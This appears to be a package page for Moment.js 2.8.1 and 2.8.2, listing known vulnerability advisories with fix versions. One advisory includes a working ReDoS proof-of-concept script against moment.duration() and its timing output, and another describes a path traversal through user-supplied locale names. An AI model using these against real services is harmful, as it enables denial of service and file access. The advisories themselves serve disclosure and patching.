Moment.js versions 2.8.1 and 2.8.2, both designed for parsing, manipulating, and displaying dates in JavaScript, share a common foundation but differ slightly in their release timelines. Version 2.8.1 was released on August 1st, 2014, while version 2.8.2 followed on August 22nd, 2014. The core description and functionality remain consistent between the two versions, targeting developers who require a robust date and time manipulation library. Both versions rely on an extensive suite of development dependencies, including Grunt for task automation, Karma for testing, and Nodeunit for unit testing, ensuring code quality and reliability. Developers leveraging Moment.js can utilize these versions for a wide range of date-related operations. The consistent author and repository information further suggest a smooth transition between the versions. The quick release cycle to version 2.8.2 suggests that it may contain bug fixes or minor improvements that are not present in version 2.8.1. Developers keen on stability would be advised to shift to 2.8.2. Consider checking the changelog for specifics.
All the vulnerabilities related to the version 2.8.2 of the package
Regular Expression Denial of Service in moment
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment
are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr
is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: